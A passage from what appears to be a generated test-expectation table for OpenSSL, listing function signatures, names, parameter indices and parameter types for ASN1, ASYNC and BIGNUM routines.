*,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 4 | OSSL_LIB_CTX * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_d2i_ex | 5 | const char * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 1 | const unsigned char ** | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 2 | long | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 4 | int | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 5 | int | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 6 | char | +| (ASN1_VALUE **,const unsigned char **,long,const ASN1_ITEM *,int,int,char,ASN1_TLC *) | | ASN1_item_ex_d2i | 7 | ASN1_TLC * | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 1 | const unsigned char * | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 2 | int | +| (ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *) | | ossl_asn1_enc_save | 3 | const ASN1_ITEM * | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 1 | int | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_do_lock | 2 | const ASN1_ITEM * | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 0 | ASN1_VALUE ** | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 1 | int | +| (ASN1_VALUE **,int,const ASN1_ITEM *) | | ossl_asn1_set_choice_selector | 2 | const ASN1_ITEM * | +| (ASN1_VALUE *,const ASN1_ITEM *) | | ASN1_item_free | 0 | ASN1_VALUE * | +| (ASN1_VALUE *,const ASN1_ITEM *) | | ASN1_item_free | 1 | const ASN1_ITEM * | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 0 | ASN1_VISIBLESTRING ** | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 1 | const unsigned char ** | +| (ASN1_VISIBLESTRING **,const unsigned char **,long) | | d2i_ASN1_VISIBLESTRING | 2 | long | +| (ASRange *) | | ASRange_free | 0 | ASRange * | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 0 | ASRange ** | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 1 | const unsigned char ** | +| (ASRange **,const unsigned char **,long) | | d2i_ASRange | 2 | long | +| (ASYNC_JOB *) | | ASYNC_get_wait_ctx | 0 | ASYNC_JOB * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 0 | ASYNC_JOB ** | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 1 | ASYNC_WAIT_CTX * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 2 | int * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 3 | ..(*)(..) | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 4 | void * | +| (ASYNC_JOB **,ASYNC_WAIT_CTX *,int *,..(*)(..),void *,size_t) | | ASYNC_start_job | 5 | size_t | +| (ASYNC_WAIT_CTX *) | | ASYNC_WAIT_CTX_get_status | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *) | | async_wait_ctx_reset_counts | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 1 | ASYNC_callback_fn * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn *,void **) | | ASYNC_WAIT_CTX_get_callback | 2 | void ** | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 1 | ASYNC_callback_fn | +| (ASYNC_WAIT_CTX *,ASYNC_callback_fn,void *) | | ASYNC_WAIT_CTX_set_callback | 2 | void * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 1 | const void * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 2 | int * | +| (ASYNC_WAIT_CTX *,const void *,int *,void **) | | ASYNC_WAIT_CTX_get_fd | 3 | void ** | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 1 | const void * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 2 | int | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 3 | void * | +| (ASYNC_WAIT_CTX *,const void *,int,void *,..(*)(..)) | | ASYNC_WAIT_CTX_set_wait_fd | 4 | ..(*)(..) | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 1 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *) | | ASYNC_WAIT_CTX_get_all_fds | 2 | size_t * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 1 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 2 | size_t * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 3 | int * | +| (ASYNC_WAIT_CTX *,int *,size_t *,int *,size_t *) | | ASYNC_WAIT_CTX_get_changed_fds | 4 | size_t * | +| (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 0 | ASYNC_WAIT_CTX * | +| (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | int | +| (AUTHORITY_INFO_ACCESS *) | | AUTHORITY_INFO_ACCESS_free | 0 | AUTHORITY_INFO_ACCESS * | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 0 | AUTHORITY_INFO_ACCESS ** | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 1 | const unsigned char ** | +| (AUTHORITY_INFO_ACCESS **,const unsigned char **,long) | | d2i_AUTHORITY_INFO_ACCESS | 2 | long | +| (AUTHORITY_KEYID *) | | AUTHORITY_KEYID_free | 0 | AUTHORITY_KEYID * | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 0 | AUTHORITY_KEYID ** | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 1 | const unsigned char ** | +| (AUTHORITY_KEYID **,const unsigned char **,long) | | d2i_AUTHORITY_KEYID | 2 | long | +| (BASIC_CONSTRAINTS *) | | BASIC_CONSTRAINTS_free | 0 | BASIC_CONSTRAINTS * | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 0 | BASIC_CONSTRAINTS ** | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 1 | const unsigned char ** | +| (BASIC_CONSTRAINTS **,const unsigned char **,long) | | d2i_BASIC_CONSTRAINTS | 2 | long | +| (BIGNUM *) | | BN_get_rfc2409_prime_768 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc2409_prime_1024 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_1536 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_2048 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_3072 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_4096 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_6144 | 0 | BIGNUM * | +| (BIGNUM *) | | BN_get_rfc3526_prime_8192 | 0 | BIGNUM * | +| (BIGNUM **,const char *) | | BN_asc2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_asc2bn | 1 | const char * | +| (BIGNUM **,const char *) | | BN_dec2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_dec2bn | 1 | const char * | +| (BIGNUM **,const char *) | | BN_hex2bn | 0 | BIGNUM ** | +| (BIGNUM **,const char *) | | BN_hex2bn | 1 | const char * | +| (BIGNUM *,ASN1_INTEGER *) | | rand_serial | 0 | BIGNUM * | +| (BIGNUM *,ASN1_INTEGER *) | | rand_serial | 1 | ASN1_INTEGER * | +| (BIGNUM *,BIGNUM *) | | BN_swap | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *) | | BN_swap | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 3 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 4 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_generate_prime_ex | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 3 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 7 | int | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 8 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 9 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_gen_prob_primes | 10 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 2 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 5 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_X931_derive_prime_ex | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 2 | BN_BLINDING * | +| (BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert_ex | 3 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 3 | BN_RECP_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *) | | BN_div_recp | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_div | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_div_fixed_top | 4 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 2 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 3 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 4 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 5 | int | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 6 | const BIGNUM * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 7 | BN_CTX * | +| (BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *) | | ossl_bn_rsa_fips186_4_derive_prime | 8 | BN_GENCB * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 2 | const unsigned char ** | +| (BIGNUM *,BIGNUM *,const unsigned char **,size_t) | | ossl_decode_der_dsa_sig | 3 | size_t | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 2 | int | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | BN_X931_generate_Xpq | 3 | BN_CTX * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 0 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 1 | BIGNUM * | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 2 | int | +| (BIGNUM *,BIGNUM *,int,BN_CTX *) | | ossl_rsa_check_prime_factor | 3 | BN_CTX * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 0 | BIGNUM * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 1 | BN_BLINDING * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_convert | 2 | BN_CTX * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 0 | BIGNUM * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 1 | BN_BLINDING * | +| (BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *) | | BN_copy | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_copy | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_lshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_lshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_priv_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_priv_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_pseudo_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_pseudo_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rand_range | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rand_range | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rshift1 | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *) | | BN_rshift1 | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 2 | BN_BLINDING * | +| (BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *) | | BN_BLINDING_invert_ex | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_are_coprime | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_sqr | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_CTX *) | | bn_sqr_fixed_top | 2 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_from_montgomery | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | BN_to_montgomery | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_from_mont_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 2 | BN_MONT_CTX * | +| (BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *) | | bn_to_mont_fixed_top | 3 | BN_CTX * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_add | 2 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 0 | BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 1 | const BIGNUM * | +| (BIGNUM *,const BIGNUM *,const BIGNUM *) | | BN_GF2m_mod | 2 | const 